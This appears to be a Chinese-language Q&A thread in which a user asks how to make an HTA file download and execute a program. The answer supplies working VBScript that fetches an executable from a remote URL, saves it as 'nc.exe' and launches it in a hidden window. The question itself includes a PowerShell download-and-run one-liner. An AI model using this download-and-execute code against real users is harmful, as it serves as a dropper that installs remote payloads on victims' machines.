2017-05-10 55 views
0

我正在嘗試使用hta下載和打開文件。使用HTA下載並執行

我試了下面的代碼,沒有運氣。

<script> 
a=new ActiveXObject("WScript.Shell"); 
run = Shell("cmd.exe /c PowerShell (New-Object System.Net.WebClient).DownloadFile('http://www.greyhathacker.net/tools/messbox.exe','mess.exe');Start-Process 'mess.exe'",vbNormalFocus) 
</script> 

可有人請與一件好事
THX幫助。

我收到以下錯誤。 Script Error Image

當我點擊yes時,它只顯示一個空白的hta控制檯。

+0

您是否可以提供有關發生什麼問題或您收到什麼輸出的更多信息? –

+0

VB常量沒有在JS中定義。 – Teemu

+0

你可以幫助定義VB常量嗎? – Makanaki

回答

1

爲什麼不使用正常的Get/Post請求,保存文件然後執行它?

dim http_obj 
dim stream_obj 
dim shell_obj 

set http_obj = CreateObject("Microsoft.XMLHTTP") 
set stream_obj = CreateObject("ADODB.Stream") 
set Shell = CreateObject("shell.application") 

URL = "http://www.mikemurr.com/example.exe" 'Where to download the file from 
FILENAME = "nc.exe" 'Name to save the file (on the local system) 
Params = "-param1 -param2" 'Command to run after downloading 

http_obj.open "GET", URL, False 
http_obj.send 

stream_obj.type = 1 
stream_obj.open 
stream_obj.write http_obj.responseBody 
stream_obj.savetofile FILENAME, 2 

Shell.ShellExecute FILENAME , Params , "" , "" , 0 

接到http://www.mikemurr.com/vbscript-download-and-execute-file/ 一些變造的大部分代碼爲HTA不是純粹的VBScript。